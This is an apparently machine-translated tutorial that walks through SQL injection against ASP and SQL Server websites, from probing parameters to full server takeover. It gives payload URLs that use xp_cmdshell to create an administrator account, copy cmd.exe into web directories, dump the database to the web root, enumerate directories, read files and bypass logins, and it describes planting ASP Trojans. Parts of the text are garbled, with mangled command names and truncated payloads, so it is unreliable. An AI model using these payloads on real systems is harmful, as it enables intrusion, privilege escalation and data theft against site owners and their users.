What is injection attacks? (1)

With the development of B/S application development, more and more programmers are writing applications using this mode. However, due to the varying levels and experience of programmers, a considerable number of programmers did not judge the legitimacy of user input data when writing code, posing a security risk to the application. You can submit a piece of database query code, Root
Obtain the expected data according to the results returned by the program. This is the so-called SQL Injection, that is, SQL Injection.
SQL injection is accessed from the normal WWW port, and it seems to be no different from the general Web page access, so the current Municipal firewall does not alert SQL injection, if the Administrator does not check IIS logs, it may be invisible for a long time. However, the SQL injection method is quite flexible, and many unexpected situations may occur during the injection process. Can you analyze the data according to the actual situation and construct clever SQL statements to obtain the desired data successfully.
According to statistics, ASP + Access or SQLServer accounts for more than 70% of websites, PHP + MySQ accounts for L20 %, and others do not. In this paper, SQL-SERVER + ASP examples to illustrate the principle, method and process of SQL injection. PHP injection articles written by zwell, another NB-consortium friend)
The general idea of SQL injection attacks is:
L SQL Injection Location discovered;
L determine the background database type;
L determine the executable status of XP_CMDSHELL
L WEB virtual directory discovered
L upload ASP Trojans;
L obtain the Administrator permission;
I. Determination of SQL Injection Vulnerabilities
In general, SQL Injection generally exists in the form of HTTP: // xxx. xxx. xxx/abc. asp? In ASP dynamic web pages with parameters such as id = XX, sometimes a dynamic web page may have only one parameter, sometimes there may be N parameters, sometimes Integer Parameters, or sometimes string parameters, cannot be generalized. In short, as long as a dynamic webpage with parameters and the webpage accesses the database, there may be SQL injection. If ASP programmers do not have security awareness and do not filter necessary characters, there is a high possibility of SQL injection.
To fully understand the dynamic web page response information, adjust the IE configuration first. Remove the check box before IE menu-tool-Internet option-advanced-show friendly HTTP Error messages.
To clarify the problem, the following uses HTTP: // xxx. xxx. xxx/abc. asp? P = YY is used as an example for analysis. YY may be an integer or a string.
1. Integer parameter judgment
When the input parameter YY is an integer, the SQL statement in abc. asp is generally as follows:
Select * from table name where field = YY, so you can use the following steps to test whether SQL Injection exists.
① HTTP: // xxx. xxx. xxx/abc. asp? P = YY '; (add a single quotation mark). The SQL statement in abc. ASP becomes
Select * from table name where field = YY ', abc. asp running exception;
② HTTP: // xxx. xxx. xxx/abc. asp? P = YY and 1 = 1, abc. asp is running normally, and it works properly with HTTP: // xxx. xxx. xxx/abc. asp? P = YY: The running result is the same;
③ HTTP: // xxx. xxx. xxx/abc. asp? P = YY and 1 = 2, abc. asp running exception;
If the preceding three steps are fully met, the SQL injection vulnerability exists in abc. asp.
2. Determination of string Parameters
When the input parameter YY is a string, the SQL statement in abc. asp is generally as follows:
Select * from table name where field = 'yy', so you can use the following steps to test whether SQL Injection exists.
① HTTP: // xxx. xxx. xxx/abc. asp? P = YY '; (add a single quotation mark). The SQL statement in abc. ASP becomes
Select * from table name where field = YY ', abc. asp running exception;
② HTTP: // xxx. xxx. xxx/abc. asp? P = YY & nb... 39; 1' = '1', abc. asp runs normally, and it works with HTTP: // xxx. xxx. xxx/abc. asp? P = YY: The running result is the same;
③ HTTP: // xxx. xxx. xxx/abc. asp? P = YY & nb... 39; 1' = '2', abc. asp running exception;
If the preceding three steps are fully met, the SQL injection vulnerability exists in abc. asp.
3. Handling of Special Cases
Sometimes ASP programmers filter out single quotes and other characters to prevent SQL injection. You can try the following methods.
① Fixed-size mixing: Because VBS are not case sensitive, programmers usually either filter all uppercase strings or all lowercase strings during filtering, while case-sensitive mixing is often ignored. For example, replace SelecT and select with SELECT;
② UNICODE method: in IIS, UNICODE character sets are used for internationalization. We can convert the string entered in IE into a UNICODE string for input. For example, + = % 2B, Space = % 20, etc. For URLEncode information, see Appendix 1;
③ ASCII code method: You can replace all or part of the entered characters with ASCII code, such as U = chr (85) and a = chr (97, for ASCII information, see appendix 2;
Ii. differentiate Database Server types
In general, ACCESS and SQL-SERVER are the most commonly used database server, although they all support T-SQL standards, but there are differences, and different databases have different attack methods, must be treated differently.
1. Identify by using system variables of the Database Server
SQL-SERVER has user, db_name () and other system variables, using these system values not only can judge the SQL-SERVER, but also can get a lot of useful information. For example:
① HTTP: // xxx. xxx. xxx/abc. asp? P = YY and user> 0 not only can judge whether it is a SQL-SERVER, but also can get the user name currently connected to the database
② HTTP: // xxx. xxx. xxx/abc. asp? P = YY & n... db_name ()> 0 can not only judge whether it is a SQL-SERVER, but also get the name of the database currently in use;
2. Use System tables
The ACCESS system table is msysobjects, and has no ACCESS permission in the WEB environment, while the SQL-SERVER system table is sysobjects, has ACCESS permission in the WEB environment. For the following two statements:
① HTTP: // xxx. xxx. xxx/abc. asp? P = YY and (select count (*) from sysobjects)> 0
② HTTP: // xxx. xxx. xxx/abc. asp? P = YY and (select count (*) from msysobjects)> 0
If the database is a SQL-SERVE, the first, abc. asp must be running normally, the second is abnormal; if ACCESS is, both are abnormal.
3. MSSQL three key system tables
Sysdatabases system table: each database on Microsoft SQL Server occupies one row in the table. When you first Install SQL Server, sysdatabases contains the master, model, msdb, mssqlweb, and tempdb database items. The table is only stored in the master database. This table is saved in the master database. What information is saved in this table? This is very important. It stores all the database names, as well as the database IDs and related information.
Here I will list the useful field names and descriptions. Name // indicates the name of the database.
Dbid // indicates the database ID. dbid ranges from 1 to 5. These databases are master, model, msdb, mssqlweb, and tempdb respectively. Select * from master. dbo. sysdatabases to query all database names.
Sysobjects: each database in the SQL-SERVER has this system table, which stores all the objects created in the database, such as constraints, default values, logs, rules, stored procedures, etc, each object occupies one row in the table. The following table describes the field names and descriptions of the system table.
Name, id, xtype, uid, status: Object Name, Object ID, object type, user id of the owner object, and object status.
Object Type (xtype ). It can be one of the following object types:
C = CHECK Constraints
D = DEFAULT value or DEFAULT Constraint
F = foreign key constraint
L = Log
FN = scalar function
IF = embedded table functions
P = Stored Procedure
PK = primary key the constraint type is K)
RF = copy and filter the Stored Procedure
S = system table
TF = table functions
TR = trigger
U = User table
UQ = the UNIQUE constraint type is K)
V = View
X = Extended Stored Procedure
When xtype = 'U' and status> 0 indicates that the table is created by the user, the object name is the table name, and the Object ID is the table ID value.
Use: select * from ChouYFD. dbo. sysobjects where xtype = 'U' and status> 0 to list the table names created by all users in ChouYFD.

Syscolumns: each column in each table and view occupies one row in the table, and each parameter in the stored procedure occupies one row in the table. The table is located in each database. The main fields are:
Name, id, colid: The field name, table ID, and field id respectively. The ID is the id of the table we just obtained using sysobjects.
Select * from ChouYFD. dbo. syscolumns where id = 123456789.
Iii. Determine the executable status of XP_CMDSHELL
If the account that is currently connected to data has the SA permission and master. dbo. xp_mongoshell extends the Stored Procedure (you can directly use the shell of the operating system to call this Stored Procedure). The entire computer can be fully controlled using the following methods, and all subsequent steps can be saved.
1. HTTP: // xxx. xxx. xxx/abc. asp? P = YY & nb... er> 0 abc. asp: Execution exception. However, you can obtain the username of the currently connected database (if dbo is displayed, it indicates SA ).
2. HTTP: // xxx. xxx. xxx/abc. asp? P = YY... me ()> 0 abc. asp execution exception, but the name of the database currently connected can be obtained.
3. HTTP: // xxx. xxx. xxx/abc. asp? P = YY; exec master .. xp_mongoshell "net user aaa bbb/add" -- (the master is the primary database of the SQL-SERVER; the semicolon in the name indicates that the SQL-SERVER executes the statement name before the semicolon and continues to execute the statement after it; "-" is an annotation, indicating that all the content after it is only a annotation, and the system does not execute it) You can directly add the operating system account aaa with the password bbb.
4. HTTP: // xxx. xxx. xxx/abc. asp? P = YY; exec master .. xp_mongoshell "net localgroup administrators aaa/add" -- add the newly added account aaa to the administrators group.
5. HTTP: // xxx. xxx. xxx/abc. asp? P = YY; backuup database name to disk = 'C: \ inetpub \ wwwroot \ save. db' backs up all the data to the WEB directory and downloads the file over HTTP (of course, the WEB virtual directory is preferred ).
6. Create a UNICODE vulnerability by copying CMD
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; exe... dbo. xp_mongoshell "copy c: \ winnt \ system32 \ cmd.exe c: \ inetpub \ scripts \ cmd.exe" creates a UNICODE vulnerability by exploiting this vulnerability, this completes the control of the entire computer (of course, the first choice is to know the WEB virtual directory ).
4. Discover WEB virtual directories
Only the WEB virtual directory can be found to determine the location where the ASP Trojan is placed and obtain the USER permission. Two methods are effective.
First, based on experience, the WEB virtual directory is: c: \ inetpub \ wwwroot; D: \ inetpub \ wwwroot; E: \ inetpub \ wwwroot, the executable virtual directory is: c: \ inetpub \ scripts; D: \ inetpub \ scripts; E: \ inetpub \ scripts.
The second is to traverse the directory structure of the system, analyze the results and find the WEB virtual directory;
First create a temporary table: temp
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; create & n... mp (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255 ));--
Next:
1) We can use xp_availablemedia to obtain all the current drives and store them in the temp table:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert temp... ter. dbo. xp_availablemedia ;--
We can query the temp content to obtain the drive list and related information.
2) We can use xp_subdirs to obtain the subdirectory list and store it in the temp table:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (I... dbo. xp_subdirs 'C :\';--
3) We can also use xp_dirtree to obtain the directory tree structure of all subdirectories and import them to the temp table:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id, num1) exec master. dbo. xp_dirtree 'C :\';--
In this way, you can successfully browse all the directory folders) List:
To view the content of a file, run xp_cmdsell:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id) exec... nbsp; 'Type c: \ web \ index. asp ';--
You can use the 'bulk insert' syntax to insert a text file into a temporary table. For example, bulk insert temp (id) from 'C: \ inetpub \ wwwroot \ index. asp'
View temp to view the index. asp file! By analyzing various ASP files, you can obtain a large amount of system information, WEB construction and management information, and even the connection password of the SA account.
Of course, if xp_cmshell can be executed, we can use it to complete:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id) & nbs... into shell 'dir c :\';--
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id) & n... p_20.shell 'dir c: \ *. asp/s/';--
Through xp_cmdshell, we can see all what we want to see, including W3svc
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id) exec master. dbo. xp_1_she... ub \ AdminScripts \ adsutil. vbs enum w3svc'
However, we can also use
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; insert into temp (id, num1) exec master. dbo. xp_dirtree 'C :\';--
Note:
1. After each of the preceding items is viewed, all contents in TEMP should be deleted:
HTTP: // xxx. xxx. xxx/abc. asp? P = YY; delete from temp ;--
2. The TEMP table is browsed by: (Suppose TestDB is the name of the database currently connected)
HTTP: // xxx. xxx. xxx/abc. asp? P = YY and (select top &... nbsp; TestDB. dbo. temp)> 0 to get the value of the first record id field in the table TEMP, and compare it with the integer, obviously abc. asp is abnormal, but the value of the id field can be found in the exception. If the table name is xyz
HTTP: // xxx. xxx. xxx/abc. asp? P = YY and (select top 1 id from... ere id not in ('xyz')> 0 to get the value of the second record id field in the TEMP table.
5. upload an ASP Trojan
The so-called ASP Trojan is a piece of ASP code with special functions and put it under the Scripts of the WEB virtual directory. Remote customers can execute it through IE to obtain the USER permission of the system, implement initial control over the system. There are two effective methods for uploading ASP Trojans:
1. Use the WEB Remote Management Function
Many WEB sites provide remote management to facilitate maintenance. Many WEB sites have different access permissions for different users. In order to achieve the control of user permissions, there is a WEB page that requires the user name and password. Only after the correct value is entered can the next operation be performed to manage the WEB, such as uploading and downloading files, browsing directories, and modifying configurations.
Therefore, if you get the correct USER name and password, you can not only upload ASP Trojans, but sometimes even directly get the USER permission to browse the system, all the complex operations of "discovering WEB virtual directories" in the previous step are omitted.
The username and password are generally stored in a table, and the problem is solved when the table is read. The following two effective methods are provided.
A. injection method:
Theoretically, the authentication webpage has the following types:
Select * from admin where username = 'xxx' and password = 'yyy' statement. If necessary character filtering is not performed before the sentence is officially run, it is easy to implement SQL injection.
For example, enter abc 'or 1 = 1 in the username text box -- enter 123 in the password box, and the SQL statement is changed:
Select * from admin where username = 'abc' or 1 = 1 and password = '000000' this statement can always be executed correctly regardless of the user name and password entered by the user. You can easily cheat the system, obtain a valid identity.
B. Guess the solution:
The basic idea is: to guess the names of all databases, guess the names of each table in the warehouse, analyze the table names that store the user name and password, and guess the names of each field in the table, guess the content of each record in the table.
L guess all database names
HTTP: // xxx. xxx. xxx/abc. asp? P = YY and (select count (*) from master. dbo. sysdatabases where name> 1 and dbid = 6) <> 0 because the value of dbid ranges from 1 to 5, it is used by the system. Therefore, the user must have created it from 6. In addition, we submitted name> 1 (the name field is a character-type field and the number will be wrong), abc. asp is abnormal, and the first database name can be obtained. Similarly, the DBID is changed to 7, 8, 9, 10, 11, 12... all Database names can be obtained.
Assume that the database name is TestDB.